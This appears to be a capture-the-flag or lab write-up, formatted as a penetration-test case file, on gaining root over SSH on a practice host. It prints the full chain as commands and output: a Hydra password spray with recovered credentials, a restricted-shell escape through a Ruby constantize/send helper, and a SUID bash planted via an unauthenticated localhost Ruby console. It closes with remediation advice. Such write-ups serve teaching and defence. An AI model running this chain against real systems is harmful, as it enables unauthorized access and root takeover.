Restricted rzsh escape and local Ruby service to SUID bash
Intermediate SSH engagement: password spray into a restricted rzsh; Rails-style constantize abuse escaped the jail; a localhost Ruby console planted a SUID bash for root.
- Case files
- Restricted rzsh escape and local Ruby service to SUID bash
Only SSH was exposed. After spraying a filtered rockyou list we landed in rzsh, escaped via an unsafe Ruby helper, then abused a loopback Ruby service to drop a SUID shell.
Filtered rockyou for the “bu” hint and sprayed SSH as noraj until cheeseburger succeeded.
test.rb reflected ARGV into constantize/send. Kernel.exec '/bin/zsh' restored a usable shell and PATH.
A Ruby netstat helper showed 127.0.0.1:31547 listening. The console accepted exec to plant /tmp/bash with setuid.
Engagement summary
Only SSH was exposed. After spraying a filtered rockyou list we landed in rzsh, escaped via an unsafe Ruby helper, then abused a loopback Ruby service to drop a SUID shell.
Host RED STONE ONE CARAT (10.201.116.83) offered OpenSSH only. A password hint narrowed rockyou to strings containing “bu”; Hydra recovered noraj:cheeseburger and dropped us into /bin/rzsh with PATH limited to /home/noraj/bin. A helper test.rb used String#constantize and send on attacker-controlled arguments, allowing Kernel.exec into a real shell. Local enumeration found a Ruby listener on 127.0.0.1:31547 that accepted IRB-style commands; from there we copied bash to /tmp with the setuid bit and executed /tmp/bash -p as root.
Business impact
Restricted shells that still expose reflective interpreters are not containment. Local services bound without authentication complete the path to root. Remove unsafe reflection helpers, bind admin consoles to authenticated channels only, and avoid leaving SUID copies of shells in world-writable paths.
SSH password spray
Filtered rockyou for the “bu” hint and sprayed SSH as noraj until cheeseburger succeeded.
OPERATOR · NMAP
savvy@lab:~$ nmap -sV 10.201.116.83
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
OPERATOR · HYDRA
savvy@lab:~$ grep "bu" /usr/share/wordlists/rockyou.txt > pass.txt
savvy@lab:~$ hydra -l noraj -P pass.txt 10.201.116.83 ssh
[22][ssh] host: 10.201.116.83 login: noraj password: cheeseburger
savvy@lab:~$ ssh noraj@10.201.116.83
savvy@lab:~$
# shell is /bin/rzsh; PATH=/home/noraj/bin
Restricted shell escape via Ruby constantize
test.rb reflected ARGV into constantize/send. Kernel.exec '/bin/zsh' restored a usable shell and PATH.
HELPER
test.rb
klass = ARGV[0].constantize
obj = klass.send(ARGV[1].to_sym, ARGV[2])
puts objOPERATOR · ESCAPE
savvy@lab:~$ test.rb Kernel exec '/bin/zsh'
savvy@lab:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
savvy@lab:~$ id
uid=1000(noraj) gid=1000(noraj) groups=1000(noraj)
Localhost Ruby console to SUID bash
A Ruby netstat helper showed 127.0.0.1:31547 listening. The console accepted exec to plant /tmp/bash with setuid.
OPERATOR · LOCAL SERVICE
savvy@lab:~$ ruby netstat.rb
tcp 127.0.0.1:31547 LISTEN
savvy@lab:~$ nc 127.0.0.1 31547
>> exec %q!cp /bin/bash /tmp/bash; chmod +s /tmp/bash!
savvy@lab:~$ /tmp/bash -p
root@lab:~# id
uid=0(root) gid=1000(noraj) groups=1000(noraj)
Remediation
Do not ship restricted shells alongside reflective helpers that call Kernel.exec. Authenticate or remove loopback admin consoles. Monitor for setuid copies of interpreters and shells under /tmp.